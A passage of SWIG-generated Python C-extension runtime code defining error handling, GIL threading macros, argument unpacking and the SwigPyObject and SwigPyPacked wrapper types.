*)(x))->d_name) #define Py_hash_t long #endif /* ----------------------------------------------------------------------------- * error manipulation * ----------------------------------------------------------------------------- */ SWIGRUNTIME PyObject* SWIG_Python_ErrorType(int code) { PyObject* type = 0; switch(code) { case SWIG_MemoryError: type = PyExc_MemoryError; break; case SWIG_IOError: type = PyExc_IOError; break; case SWIG_RuntimeError: type = PyExc_RuntimeError; break; case SWIG_IndexError: type = PyExc_IndexError; break; case SWIG_TypeError: type = PyExc_TypeError; break; case SWIG_DivisionByZero: type = PyExc_ZeroDivisionError; break; case SWIG_OverflowError: type = PyExc_OverflowError; break; case SWIG_SyntaxError: type = PyExc_SyntaxError; break; case SWIG_ValueError: type = PyExc_ValueError; break; case SWIG_SystemError: type = PyExc_SystemError; break; case SWIG_AttributeError: type = PyExc_AttributeError; break; default: type = PyExc_RuntimeError; } return type; } SWIGRUNTIME void SWIG_Python_AddErrorMsg(const char* mesg) { PyObject *type = 0; PyObject *value = 0; PyObject *traceback = 0; if (PyErr_Occurred()) PyErr_Fetch(&type, &value, &traceback); if (value) { PyObject *old_str = PyObject_Str(value); const char *tmp = SWIG_Python_str_AsChar(old_str); PyErr_Clear(); Py_XINCREF(type); if (tmp) PyErr_Format(type, "%s %s", tmp, mesg); else PyErr_Format(type, "%s", mesg); SWIG_Python_str_DelForPy3(tmp); Py_DECREF(old_str); Py_DECREF(value); } else { PyErr_SetString(PyExc_RuntimeError, mesg); } } SWIGRUNTIME int SWIG_Python_TypeErrorOccurred(PyObject *obj) { PyObject *error; if (obj) return 0; error = PyErr_Occurred(); return error && PyErr_GivenExceptionMatches(error, PyExc_TypeError); } SWIGRUNTIME void SWIG_Python_RaiseOrModifyTypeError(const char *message) { if (SWIG_Python_TypeErrorOccurred(NULL)) { /* Use existing TypeError to preserve stacktrace and enhance with given message */ PyObject *newvalue; PyObject *type = NULL, *value = NULL, *traceback = NULL; PyErr_Fetch(&type, &value, &traceback); #if PY_VERSION_HEX >= 0x03000000 newvalue = PyUnicode_FromFormat("%S\nAdditional information:\n%s", value, message); #else newvalue = PyString_FromFormat("%s\nAdditional information:\n%s", PyString_AsString(value), message); #endif Py_XDECREF(value); PyErr_Restore(type, newvalue, traceback); } else { /* Raise TypeError using given message */ PyErr_SetString(PyExc_TypeError, message); } } #if defined(SWIG_PYTHON_NO_THREADS) # if defined(SWIG_PYTHON_THREADS) # undef SWIG_PYTHON_THREADS # endif #endif #if defined(SWIG_PYTHON_THREADS) /* Threading support is enabled */ # if !defined(SWIG_PYTHON_USE_GIL) && !defined(SWIG_PYTHON_NO_USE_GIL) # define SWIG_PYTHON_USE_GIL # endif # if defined(SWIG_PYTHON_USE_GIL) /* Use PyGILState threads calls */ # ifndef SWIG_PYTHON_INITIALIZE_THREADS # define SWIG_PYTHON_INITIALIZE_THREADS PyEval_InitThreads() # endif # ifdef __cplusplus /* C++ code */ class SWIG_Python_Thread_Block { bool status; PyGILState_STATE state; public: void end() { if (status) { PyGILState_Release(state); status = false;} } SWIG_Python_Thread_Block() : status(true), state(PyGILState_Ensure()) {} ~SWIG_Python_Thread_Block() { end(); } }; class SWIG_Python_Thread_Allow { bool status; PyThreadState *save; public: void end() { if (status) { PyEval_RestoreThread(save); status = false; }} SWIG_Python_Thread_Allow() : status(true), save(PyEval_SaveThread()) {} ~SWIG_Python_Thread_Allow() { end(); } }; # define SWIG_PYTHON_THREAD_BEGIN_BLOCK SWIG_Python_Thread_Block _swig_thread_block # define SWIG_PYTHON_THREAD_END_BLOCK _swig_thread_block.end() # define SWIG_PYTHON_THREAD_BEGIN_ALLOW SWIG_Python_Thread_Allow _swig_thread_allow # define SWIG_PYTHON_THREAD_END_ALLOW _swig_thread_allow.end() # else /* C code */ # define SWIG_PYTHON_THREAD_BEGIN_BLOCK PyGILState_STATE _swig_thread_block = PyGILState_Ensure() # define SWIG_PYTHON_THREAD_END_BLOCK PyGILState_Release(_swig_thread_block) # define SWIG_PYTHON_THREAD_BEGIN_ALLOW PyThreadState *_swig_thread_allow = PyEval_SaveThread() # define SWIG_PYTHON_THREAD_END_ALLOW PyEval_RestoreThread(_swig_thread_allow) # endif # else /* Old thread way, not implemented, user must provide it */ # if !defined(SWIG_PYTHON_INITIALIZE_THREADS) # define SWIG_PYTHON_INITIALIZE_THREADS # endif # if !defined(SWIG_PYTHON_THREAD_BEGIN_BLOCK) # define SWIG_PYTHON_THREAD_BEGIN_BLOCK # endif # if !defined(SWIG_PYTHON_THREAD_END_BLOCK) # define SWIG_PYTHON_THREAD_END_BLOCK # endif # if !defined(SWIG_PYTHON_THREAD_BEGIN_ALLOW) # define SWIG_PYTHON_THREAD_BEGIN_ALLOW # endif # if !defined(SWIG_PYTHON_THREAD_END_ALLOW) # define SWIG_PYTHON_THREAD_END_ALLOW # endif # endif #else /* No thread support */ # define SWIG_PYTHON_INITIALIZE_THREADS # define SWIG_PYTHON_THREAD_BEGIN_BLOCK # define SWIG_PYTHON_THREAD_END_BLOCK # define SWIG_PYTHON_THREAD_BEGIN_ALLOW # define SWIG_PYTHON_THREAD_END_ALLOW #endif /* ----------------------------------------------------------------------------- * Python API portion that goes into the runtime * ----------------------------------------------------------------------------- */ #ifdef __cplusplus extern "C" { #endif /* ----------------------------------------------------------------------------- * Constant declarations * ----------------------------------------------------------------------------- */ /* Constant Types */ #define SWIG_PY_POINTER 4 #define SWIG_PY_BINARY 5 /* Constant information structure */ typedef struct swig_const_info { int type; const char *name; long lvalue; double dvalue; void *pvalue; swig_type_info **ptype; } swig_const_info; #ifdef __cplusplus } #endif /* ----------------------------------------------------------------------------- * pyrun.swg * * This file contains the runtime support for Python modules * and includes code for managing global variables and pointer * type checking. * * ----------------------------------------------------------------------------- */ #if PY_VERSION_HEX < 0x02070000 /* 2.7.0 */ # error "This version of SWIG only supports Python >= 2.7" #endif #if PY_VERSION_HEX >= 0x03000000 && PY_VERSION_HEX < 0x03020000 # error "This version of SWIG only supports Python 3 >= 3.2" #endif /* Common SWIG API */ /* for raw pointers */ #define SWIG_Python_ConvertPtr(obj, pptr, type, flags) SWIG_Python_ConvertPtrAndOwn(obj, pptr, type, flags, 0) #define SWIG_ConvertPtr(obj, pptr, type, flags) SWIG_Python_ConvertPtr(obj, pptr, type, flags) #define SWIG_ConvertPtrAndOwn(obj,pptr,type,flags,own) SWIG_Python_ConvertPtrAndOwn(obj, pptr, type, flags, own) #ifdef SWIGPYTHON_BUILTIN #define SWIG_NewPointerObj(ptr, type, flags) SWIG_Python_NewPointerObj(self, ptr, type, flags) #else #define SWIG_NewPointerObj(ptr, type, flags) SWIG_Python_NewPointerObj(NULL, ptr, type, flags) #endif #define SWIG_InternalNewPointerObj(ptr, type, flags) SWIG_Python_NewPointerObj(NULL, ptr, type, flags) #define SWIG_CheckImplicit(ty) SWIG_Python_CheckImplicit(ty) #define SWIG_AcquirePtr(ptr, src) SWIG_Python_AcquirePtr(ptr, src) #define swig_owntype int /* for raw packed data */ #define SWIG_ConvertPacked(obj, ptr, sz, ty) SWIG_Python_ConvertPacked(obj, ptr, sz, ty) #define SWIG_NewPackedObj(ptr, sz, type) SWIG_Python_NewPackedObj(ptr, sz, type) /* for class or struct pointers */ #define SWIG_ConvertInstance(obj, pptr, type, flags) SWIG_ConvertPtr(obj, pptr, type, flags) #define SWIG_NewInstanceObj(ptr, type, flags) SWIG_NewPointerObj(ptr, type, flags) /* for C or C++ function pointers */ #define SWIG_ConvertFunctionPtr(obj, pptr, type) SWIG_Python_ConvertFunctionPtr(obj, pptr, type) #define SWIG_NewFunctionPtrObj(ptr, type) SWIG_Python_NewPointerObj(NULL, ptr, type, 0) /* for C++ member pointers, ie, member methods */ #define SWIG_ConvertMember(obj, ptr, sz, ty) SWIG_Python_ConvertPacked(obj, ptr, sz, ty) #define SWIG_NewMemberObj(ptr, sz, type) SWIG_Python_NewPackedObj(ptr, sz, type) /* Runtime API */ #define SWIG_GetModule(clientdata) SWIG_Python_GetModule(clientdata) #define SWIG_SetModule(clientdata, pointer) SWIG_Python_SetModule(pointer) #define SWIG_NewClientData(obj) SwigPyClientData_New(obj) #define SWIG_SetErrorObj SWIG_Python_SetErrorObj #define SWIG_SetErrorMsg SWIG_Python_SetErrorMsg #define SWIG_ErrorType(code) SWIG_Python_ErrorType(code) #define SWIG_Error(code, msg) SWIG_Python_SetErrorMsg(SWIG_ErrorType(code), msg) #define SWIG_fail goto fail /* Runtime API implementation */ /* Error manipulation */ SWIGINTERN void SWIG_Python_SetErrorObj(PyObject *errtype, PyObject *obj) { SWIG_PYTHON_THREAD_BEGIN_BLOCK; PyErr_SetObject(errtype, obj); Py_DECREF(obj); SWIG_PYTHON_THREAD_END_BLOCK; } SWIGINTERN void SWIG_Python_SetErrorMsg(PyObject *errtype, const char *msg) { SWIG_PYTHON_THREAD_BEGIN_BLOCK; PyErr_SetString(errtype, msg); SWIG_PYTHON_THREAD_END_BLOCK; } #define SWIG_Python_Raise(obj, type, desc) SWIG_Python_SetErrorObj(SWIG_Python_ExceptionType(desc), obj) /* Set a constant value */ #if defined(SWIGPYTHON_BUILTIN) SWIGINTERN void SwigPyBuiltin_AddPublicSymbol(PyObject *seq, const char *key) { PyObject *s = PyString_InternFromString(key); PyList_Append(seq, s); Py_DECREF(s); } SWIGINTERN void SWIG_Python_SetConstant(PyObject *d, PyObject *public_interface, const char *name, PyObject *obj) { PyDict_SetItemString(d, name, obj); Py_DECREF(obj); if (public_interface) SwigPyBuiltin_AddPublicSymbol(public_interface, name); } #else SWIGINTERN void SWIG_Python_SetConstant(PyObject *d, const char *name, PyObject *obj) { PyDict_SetItemString(d, name, obj); Py_DECREF(obj); } #endif /* Append a value to the result obj */ SWIGINTERN PyObject* SWIG_Python_AppendOutput(PyObject* result, PyObject* obj) { if (!result) { result = obj; } else if (result == Py_None) { Py_DECREF(result); result = obj; } else { if (!PyList_Check(result)) { PyObject *o2 = result; result = PyList_New(1); PyList_SetItem(result, 0, o2); } PyList_Append(result,obj); Py_DECREF(obj); } return result; } /* Unpack the argument tuple */ SWIGINTERN Py_ssize_t SWIG_Python_UnpackTuple(PyObject *args, const char *name, Py_ssize_t min, Py_ssize_t max, PyObject **objs) { if (!args) { if (!min && !max) { return 1; } else { PyErr_Format(PyExc_TypeError, "%s expected %s%d arguments, got none", name, (min == max ? "" : "at least "), (int)min); return 0; } } if (!PyTuple_Check(args)) { if (min <= 1 && max >= 1) { Py_ssize_t i; objs[0] = args; for (i = 1; i < max; ++i) { objs[i] = 0; } return 2; } PyErr_SetString(PyExc_SystemError, "UnpackTuple() argument list is not a tuple"); return 0; } else { Py_ssize_t l = PyTuple_GET_SIZE(args); if (l < min) { PyErr_Format(PyExc_TypeError, "%s expected %s%d arguments, got %d", name, (min == max ? "" : "at least "), (int)min, (int)l); return 0; } else if (l > max) { PyErr_Format(PyExc_TypeError, "%s expected %s%d arguments, got %d", name, (min == max ? "" : "at most "), (int)max, (int)l); return 0; } else { Py_ssize_t i; for (i = 0; i < l; ++i) { objs[i] = PyTuple_GET_ITEM(args, i); } for (; l < max; ++l) { objs[l] = 0; } return i + 1; } } } /* A functor is a function object with one single object argument */ #define SWIG_Python_CallFunctor(functor, obj) PyObject_CallFunctionObjArgs(functor, obj, NULL); /* Helper for static pointer initialization for both C and C++ code, for example static PyObject *SWIG_STATIC_POINTER(MyVar) = NewSomething(...); */ #ifdef __cplusplus #define SWIG_STATIC_POINTER(var) var #else #define SWIG_STATIC_POINTER(var) var = 0; if (!var) var #endif /* ----------------------------------------------------------------------------- * Pointer declarations * ----------------------------------------------------------------------------- */ /* Flags for new pointer objects */ #define SWIG_POINTER_NOSHADOW (SWIG_POINTER_OWN << 1) #define SWIG_POINTER_NEW (SWIG_POINTER_NOSHADOW | SWIG_POINTER_OWN) #define SWIG_POINTER_IMPLICIT_CONV (SWIG_POINTER_DISOWN << 1) #define SWIG_BUILTIN_TP_INIT (SWIG_POINTER_OWN << 2) #define SWIG_BUILTIN_INIT (SWIG_BUILTIN_TP_INIT | SWIG_POINTER_OWN) #ifdef __cplusplus extern "C" { #endif /* The python void return value */ SWIGRUNTIMEINLINE PyObject * SWIG_Py_Void(void) { PyObject *none = Py_None; Py_INCREF(none); return none; } /* SwigPyClientData */ typedef struct { PyObject *klass; PyObject *newraw; PyObject *newargs; PyObject *destroy; int delargs; int implicitconv; PyTypeObject *pytype; } SwigPyClientData; SWIGRUNTIMEINLINE int SWIG_Python_CheckImplicit(swig_type_info *ty) { SwigPyClientData *data = (SwigPyClientData *)ty->clientdata; int fail = data ? data->implicitconv : 0; if (fail) PyErr_SetString(PyExc_TypeError, "Implicit conversion is prohibited for explicit constructors."); return fail; } SWIGRUNTIMEINLINE PyObject * SWIG_Python_ExceptionType(swig_type_info *desc) { SwigPyClientData *data = desc ? (SwigPyClientData *) desc->clientdata : 0; PyObject *klass = data ? data->klass : 0; return (klass ? klass : PyExc_RuntimeError); } SWIGRUNTIME SwigPyClientData * SwigPyClientData_New(PyObject* obj) { if (!obj) { return 0; } else { SwigPyClientData *data = (SwigPyClientData *)malloc(sizeof(SwigPyClientData)); /* the klass element */ data->klass = obj; Py_INCREF(data->klass); /* the newraw method and newargs arguments used to create a new raw instance */ if (PyClass_Check(obj)) { data->newraw = 0; data->newargs = obj; Py_INCREF(obj); } else { data->newraw = PyObject_GetAttrString(data->klass, "__new__"); if (data->newraw) { Py_INCREF(data->newraw); data->newargs = PyTuple_New(1); PyTuple_SetItem(data->newargs, 0, obj); } else { data->newargs = obj; } Py_INCREF(data->newargs); } /* the destroy method, aka as the C++ delete method */ data->destroy = PyObject_GetAttrString(data->klass, "__swig_destroy__"); if (PyErr_Occurred()) { PyErr_Clear(); data->destroy = 0; } if (data->destroy) { int flags; Py_INCREF(data->destroy); flags = PyCFunction_GET_FLAGS(data->destroy); data->delargs = !(flags & (METH_O)); } else { data->delargs = 0; } data->implicitconv = 0; data->pytype = 0; return data; } } SWIGRUNTIME void SwigPyClientData_Del(SwigPyClientData *data) { Py_XDECREF(data->newraw); Py_XDECREF(data->newargs); Py_XDECREF(data->destroy); } /* =============== SwigPyObject =====================*/ typedef struct { PyObject_HEAD void *ptr; swig_type_info *ty; int own; PyObject *next; #ifdef SWIGPYTHON_BUILTIN PyObject *dict; #endif } SwigPyObject; #ifdef SWIGPYTHON_BUILTIN SWIGRUNTIME PyObject * SwigPyObject_get___dict__(PyObject *v, PyObject *SWIGUNUSEDPARM(args)) { SwigPyObject *sobj = (SwigPyObject *)v; if (!sobj->dict) sobj->dict = PyDict_New(); Py_INCREF(sobj->dict); return sobj->dict; } #endif SWIGRUNTIME PyObject * SwigPyObject_long(SwigPyObject *v) { return PyLong_FromVoidPtr(v->ptr); } SWIGRUNTIME PyObject * SwigPyObject_format(const char* fmt, SwigPyObject *v) { PyObject *res = NULL; PyObject *args = PyTuple_New(1); if (args) { if (PyTuple_SetItem(args, 0, SwigPyObject_long(v)) == 0) { PyObject *ofmt = SWIG_Python_str_FromChar(fmt); if (ofmt) { #if PY_VERSION_HEX >= 0x03000000 res = PyUnicode_Format(ofmt,args); #else res = PyString_Format(ofmt,args); #endif Py_DECREF(ofmt); } Py_DECREF(args); } } return res; } SWIGRUNTIME PyObject * SwigPyObject_oct(SwigPyObject *v) { return SwigPyObject_format("%o",v); } SWIGRUNTIME PyObject * SwigPyObject_hex(SwigPyObject *v) { return SwigPyObject_format("%x",v); } SWIGRUNTIME PyObject * SwigPyObject_repr(SwigPyObject *v) { const char *name = SWIG_TypePrettyName(v->ty); PyObject *repr = SWIG_Python_str_FromFormat("<Swig Object of type '%s' at %p>", (name ? name : "unknown"), (void *)v); if (v->next) { PyObject *nrep = SwigPyObject_repr((SwigPyObject *)v->next); # if PY_VERSION_HEX >= 0x03000000 PyObject *joined = PyUnicode_Concat(repr, nrep); Py_DecRef(repr); Py_DecRef(nrep); repr = joined; # else PyString_ConcatAndDel(&repr,nrep); # endif } return repr; } /* We need a version taking two PyObject* parameters so it's a valid * PyCFunction to use in swigobject_methods[]. */ SWIGRUNTIME PyObject * SwigPyObject_repr2(PyObject *v, PyObject *SWIGUNUSEDPARM(args)) { return SwigPyObject_repr((SwigPyObject*)v); } SWIGRUNTIME int SwigPyObject_compare(SwigPyObject *v, SwigPyObject *w) { void *i = v->ptr; void *j = w->ptr; return (i < j) ? -1 : ((i > j) ? 1 : 0); } /* Added for Python 3.x, would it also be useful for Python 2.x? */ SWIGRUNTIME PyObject* SwigPyObject_richcompare(SwigPyObject *v, SwigPyObject *w, int op) { PyObject* res; if( op != Py_EQ && op != Py_NE ) { Py_INCREF(Py_NotImplemented); return Py_NotImplemented; } res = PyBool_FromLong( (SwigPyObject_compare(v, w)==0) == (op == Py_EQ) ? 1 : 0); return res; } SWIGRUNTIME PyTypeObject* SwigPyObject_TypeOnce(void); #ifdef SWIGPYTHON_BUILTIN static swig_type_info *SwigPyObject_stype = 0; SWIGRUNTIME PyTypeObject* SwigPyObject_type(void) { SwigPyClientData *cd; assert(SwigPyObject_stype); cd = (SwigPyClientData*) SwigPyObject_stype->clientdata; assert(cd); assert(cd->pytype); return cd->pytype; } #else SWIGRUNTIME PyTypeObject* SwigPyObject_type(void) { static PyTypeObject *SWIG_STATIC_POINTER(type) = SwigPyObject_TypeOnce(); return type; } #endif SWIGRUNTIMEINLINE int SwigPyObject_Check(PyObject *op) { #ifdef SWIGPYTHON_BUILTIN PyTypeObject *target_tp = SwigPyObject_type(); if (PyType_IsSubtype(op->ob_type, target_tp)) return 1; return (strcmp(op->ob_type->tp_name, "SwigPyObject") == 0); #else return (Py_TYPE(op) == SwigPyObject_type()) || (strcmp(Py_TYPE(op)->tp_name,"SwigPyObject") == 0); #endif } SWIGRUNTIME PyObject * SwigPyObject_New(void *ptr, swig_type_info *ty, int own); SWIGRUNTIME void SwigPyObject_dealloc(PyObject *v) { SwigPyObject *sobj = (SwigPyObject *) v; PyObject *next = sobj->next; if (sobj->own == SWIG_POINTER_OWN) { swig_type_info *ty = sobj->ty; SwigPyClientData *data = ty ? (SwigPyClientData *) ty->clientdata : 0; PyObject *destroy = data ? data->destroy : 0; if (destroy) { /* destroy is always a VARARGS method */ PyObject *res; /* PyObject_CallFunction() has the potential to silently drop the active exception. In cases of unnamed temporary variable or where we just finished iterating over a generator StopIteration will be active right now, and this needs to remain true upon return from SwigPyObject_dealloc. So save and restore. */ PyObject *type = NULL, *value = NULL, *traceback = NULL; PyErr_Fetch(&type, &value, &traceback); if (data->delargs) { /* we need to create a temporary object to carry the destroy operation */ PyObject *tmp = SwigPyObject_New(sobj->ptr, ty, 0); res = SWIG_Python_CallFunctor(destroy, tmp); Py_DECREF(tmp); } else { PyCFunction meth = PyCFunction_GET_FUNCTION(destroy); PyObject *mself = PyCFunction_GET_SELF(destroy); res = ((*meth)(mself, v)); } if (!res) PyErr_WriteUnraisable(destroy); PyErr_Restore(type, value, traceback); Py_XDECREF(res); } #if !defined(SWIG_PYTHON_SILENT_MEMLEAK) else { const char *name = SWIG_TypePrettyName(ty); printf("swig/python detected a memory leak of type '%s', no destructor found.\n", (name ? name : "unknown")); } #endif } Py_XDECREF(next); PyObject_DEL(v); } SWIGRUNTIME PyObject* SwigPyObject_append(PyObject* v, PyObject* next) { SwigPyObject *sobj = (SwigPyObject *) v; if (!SwigPyObject_Check(next)) { PyErr_SetString(PyExc_TypeError, "Attempt to append a non SwigPyObject"); return NULL; } sobj->next = next; Py_INCREF(next); return SWIG_Py_Void(); } SWIGRUNTIME PyObject* SwigPyObject_next(PyObject* v, PyObject *SWIGUNUSEDPARM(args)) { SwigPyObject *sobj = (SwigPyObject *) v; if (sobj->next) { Py_INCREF(sobj->next); return sobj->next; } else { return SWIG_Py_Void(); } } SWIGINTERN PyObject* SwigPyObject_disown(PyObject* v, PyObject *SWIGUNUSEDPARM(args)) { SwigPyObject *sobj = (SwigPyObject *)v; sobj->own = 0; return SWIG_Py_Void(); } SWIGINTERN PyObject* SwigPyObject_acquire(PyObject* v, PyObject *SWIGUNUSEDPARM(args)) { SwigPyObject *sobj = (SwigPyObject *)v; sobj->own = SWIG_POINTER_OWN; return SWIG_Py_Void(); } SWIGINTERN PyObject* SwigPyObject_own(PyObject *v, PyObject *args) { PyObject *val = 0; if (!PyArg_UnpackTuple(args, "own", 0, 1, &val)) { return NULL; } else { SwigPyObject *sobj = (SwigPyObject *)v; PyObject *obj = PyBool_FromLong(sobj->own); if (val) { if (PyObject_IsTrue(val)) { SwigPyObject_acquire(v,args); } else { SwigPyObject_disown(v,args); } } return obj; } } static PyMethodDef swigobject_methods[] = { {"disown", SwigPyObject_disown, METH_NOARGS, "releases ownership of the pointer"}, {"acquire", SwigPyObject_acquire, METH_NOARGS, "acquires ownership of the pointer"}, {"own", SwigPyObject_own, METH_VARARGS, "returns/sets ownership of the pointer"}, {"append", SwigPyObject_append, METH_O, "appends another 'this' object"}, {"next", SwigPyObject_next, METH_NOARGS, "returns the next 'this' object"}, {"__repr__",SwigPyObject_repr2, METH_NOARGS, "returns object representation"}, {0, 0, 0, 0} }; SWIGRUNTIME PyTypeObject* SwigPyObject_TypeOnce(void) { static char swigobject_doc[] = "Swig object carries a C/C++ instance pointer"; static PyNumberMethods SwigPyObject_as_number = { (binaryfunc)0, /*nb_add*/ (binaryfunc)0, /*nb_subtract*/ (binaryfunc)0, /*nb_multiply*/ /* nb_divide removed in Python 3 */ #if PY_VERSION_HEX < 0x03000000 (binaryfunc)0, /*nb_divide*/ #endif (binaryfunc)0, /*nb_remainder*/ (binaryfunc)0, /*nb_divmod*/ (ternaryfunc)0,/*nb_power*/ (unaryfunc)0, /*nb_negative*/ (unaryfunc)0, /*nb_positive*/ (unaryfunc)0, /*nb_absolute*/ (inquiry)0, /*nb_nonzero*/ 0, /*nb_invert*/ 0, /*nb_lshift*/ 0, /*nb_rshift*/ 0, /*nb_and*/ 0, /*nb_xor*/ 0, /*nb_or*/ #if PY_VERSION_HEX < 0x03000000 0, /*nb_coerce*/ #endif (unaryfunc)SwigPyObject_long, /*nb_int*/ #if PY_VERSION_HEX < 0x03000000 (unaryfunc)SwigPyObject_long, /*nb_long*/ #else 0, /*nb_reserved*/ #endif (unaryfunc)0, /*nb_float*/ #if PY_VERSION_HEX < 0x03000000 (unaryfunc)SwigPyObject_oct, /*nb_oct*/ (unaryfunc)SwigPyObject_hex, /*nb_hex*/ #endif #if PY_VERSION_HEX >= 0x03050000 /* 3.5 */ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 /* nb_inplace_add -> nb_inplace_matrix_multiply */ #elif PY_VERSION_HEX >= 0x03000000 /* 3.0 */ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 /* nb_inplace_add -> nb_index, nb_inplace_divide removed */ #else 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 /* nb_inplace_add -> nb_index */ #endif }; static PyTypeObject swigpyobject_type; static int type_init = 0; if (!type_init) { const PyTypeObject tmp = { #if PY_VERSION_HEX >= 0x03000000 PyVarObject_HEAD_INIT(NULL, 0) #else PyObject_HEAD_INIT(NULL) 0, /* ob_size */ #endif "SwigPyObject", /* tp_name */ sizeof(SwigPyObject), /* tp_basicsize */ 0, /* tp_itemsize */ (destructor)SwigPyObject_dealloc, /* tp_dealloc */ 0, /* tp_print */ (getattrfunc)0, /* tp_getattr */ (setattrfunc)0, /* tp_setattr */ #if PY_VERSION_HEX >= 0x03000000 0, /* tp_reserved in 3.0.1, tp_compare in 3.0.0 but not used */ #else (cmpfunc)SwigPyObject_compare, /* tp_compare */ #endif (reprfunc)SwigPyObject_repr, /* tp_repr */ &SwigPyObject_as_number, /* tp_as_number */ 0, /* tp_as_sequence */ 0, /* tp_as_mapping */ (hashfunc)0, /* tp_hash */ (ternaryfunc)0, /* tp_call */ 0, /* tp_str */ PyObject_GenericGetAttr, /* tp_getattro */ 0, /* tp_setattro */ 0, /* tp_as_buffer */ Py_TPFLAGS_DEFAULT, /* tp_flags */ swigobject_doc, /* tp_doc */ 0, /* tp_traverse */ 0, /* tp_clear */ (richcmpfunc)SwigPyObject_richcompare,/* tp_richcompare */ 0, /* tp_weaklistoffset */ 0, /* tp_iter */ 0, /* tp_iternext */ swigobject_methods, /* tp_methods */ 0, /* tp_members */ 0, /* tp_getset */ 0, /* tp_base */ 0, /* tp_dict */ 0, /* tp_descr_get */ 0, /* tp_descr_set */ 0, /* tp_dictoffset */ 0, /* tp_init */ 0, /* tp_alloc */ 0, /* tp_new */ 0, /* tp_free */ 0, /* tp_is_gc */ 0, /* tp_bases */ 0, /* tp_mro */ 0, /* tp_cache */ 0, /* tp_subclasses */ 0, /* tp_weaklist */ 0, /* tp_del */ 0, /* tp_version_tag */ #if PY_VERSION_HEX >= 0x03040000 0, /* tp_finalize */ #endif #ifdef COUNT_ALLOCS 0, /* tp_allocs */ 0, /* tp_frees */ 0, /* tp_maxalloc */ 0, /* tp_prev */ 0 /* tp_next */ #endif }; swigpyobject_type = tmp; type_init = 1; if (PyType_Ready(&swigpyobject_type) < 0) return NULL; } return &swigpyobject_type; } SWIGRUNTIME PyObject * SwigPyObject_New(void *ptr, swig_type_info *ty, int own) { SwigPyObject *sobj = PyObject_NEW(SwigPyObject, SwigPyObject_type()); if (sobj) { sobj->ptr = ptr; sobj->ty = ty; sobj->own = own; sobj->next = 0; } return (PyObject *)sobj; } /* ----------------------------------------------------------------------------- * Implements a simple Swig Packed type, and use it instead of string * ----------------------------------------------------------------------------- */ typedef struct { PyObject_HEAD void *pack; swig_type_info *ty; size_t size; } SwigPyPacked; SWIGRUNTIME PyObject * SwigPyPacked_repr(SwigPyPacked *v) { char result[SWIG_BUFFER_SIZE]; if (SWIG_PackDataName(result, v->pack, v->size, 0, sizeof(result))) { return SWIG_Python_str_FromFormat("<Swig Packed at %s%s>", result, v->ty->name); } else { return SWIG_Python_str_FromFormat("<Swig Packed %s>", v->ty->name); } } SWIGRUNTIME PyObject * SwigPyPacked_str(SwigPyPacked *v) { char result[SWIG_BUFFER_SIZE]; if (SWIG_PackDataName(result, v->pack, v->size, 0, sizeof(result))){ return SWIG_Python_str_FromFormat("%s%s", result, v->ty->name); } else { return SWIG_Python_str_FromChar(v->ty->name); } } SWIGRUNTIME int SwigPyPacked_compare(SwigPyPacked *v, SwigPyPacked *w) { size_t i = v->size; size_t j = w->size; int s = (i < j) ? -1 : ((i > j) ? 1 : 0); return s ? s : strncmp((const char *)v->pack, (const char *)w->pack, 2*v->size); } SWIGRUNTIME PyTypeObject* SwigPyPacked_TypeOnce(void); SWIGRUNTIME PyTypeObject* SwigPyPacked_type(void) { static PyTypeObject *SWIG_STATIC_POINTER(type) = SwigPyPacked_TypeOnce(); return type; } SWIGRUNTIMEINLINE int SwigPyPacked_Check(PyObject *op) { return ((op)->ob_type == SwigPyPacked_TypeOnce()) || (strcmp((op)->ob_type->tp_name,"SwigPyPacked") == 0); } SWIGRUNTIME void SwigPyPacked_dealloc(PyObject *v) { if (SwigPyPacked_Check(v)) { SwigPyPacked *sobj = (SwigPyPacked *) v; free(sobj->pack); } PyObject_DEL(v); } SWIGRUNTIME PyTypeObject* SwigPyPacked_TypeOnce(void) { static char swigpacked_doc[] = "Swig object carries a C/C++ instance pointer"; static PyTypeObject swigpypacked_type; static int type_init = 0; if (!type_init) { const PyTypeObject tmp = { #if PY_VERSION_HEX>=0x03000000 PyVarObject_HEAD_INIT(NULL, 0) #else PyObject_HEAD_INIT(NULL) 0, /* ob_size */ #endif "SwigPyPacked", /* tp_name */ sizeof(SwigPyPacked), /* tp_basicsize */ 0, /* tp_itemsize */ (destructor)SwigPyPacked_dealloc, /* tp_dealloc */ 0, /* tp_print */ (getattrfunc)0, /* tp_getattr */ (setattrfunc)0, /* tp_setattr */ #if PY_VERSION_HEX>=0x03000000 0, /* tp_reserved in 3.0.1 */ #else (cmpfunc)SwigPyPacked_compare, /* tp_compare */ #endif (reprfunc)SwigPyPacked_repr, /* tp_repr */ 0, /* tp_as_number */ 0, /* tp_as_sequence */ 0, /* tp_as_mapping */ (hashfunc)0, /* tp_hash */ (ternaryfunc)0, /* tp_call */ (reprfunc)SwigPyPacked_str, /* tp_str */ PyObject_GenericGetAttr, /* tp_getattro */ 0, /* tp_setattro */ 0, /* tp_as_buffer */ Py_TPFLAGS_DEFAULT, /* tp_flags */ swigpacked_doc, /* tp_doc */ 0, /* tp_traverse */ 0, /* tp_clear */ 0, /* tp_richcompare */ 0, /* tp_weaklistoffset */ 0, /* tp_iter */ 0, /* tp_iternext */ 0, /* tp_methods */ 0, /* tp_members */ 0, /* tp_getset */ 0, /* tp_base */ 0, /* tp_dict */ 0, /* tp_descr_get */ 0, /* tp_descr_set */ 0, /* tp_dictoffset */ 0, /* tp_init */ 0, /* tp_alloc */ 0, /* tp_new */ 0, /* tp_free */ 0, /* tp_is_gc */ 0, /* tp_bases */ 0, /* tp_mro */ 0, /* tp_cache */ 0, /* tp_subclasses */ 0, /* tp_weaklist */ 0, /* tp_del */ 0, /* tp_version_tag */ #if PY_VERSION_HEX >= 0x03040000 0, /* tp_finalize */ #endif #ifdef COUNT_ALLOCS 0, /* tp_allocs */ 0, /* tp_frees */ 0, /* tp_maxalloc */ 0, /* tp_prev */ 0 /* tp_next */ #endif }; swigpypacked_type = tmp; type_init = 1; if (PyType_Ready(&swigpypacked_type) < 0) return NULL; } return &swigpypacked_type; } SWIGRUNTIME PyObject * SwigPyPacked_New(void *ptr, size_t size, swig_type_info *ty) { SwigPyPacked *sobj = PyObject_NEW(SwigPyPacked, SwigPyPacked_type()); if (sobj) { void *pack = malloc(size); if (pack) { memcpy(pack, ptr, size); sobj->pack = pack; sobj->ty = ty; sobj->size = size; } else { PyObject_DEL((PyObject *) sobj); sobj = 0; } } return 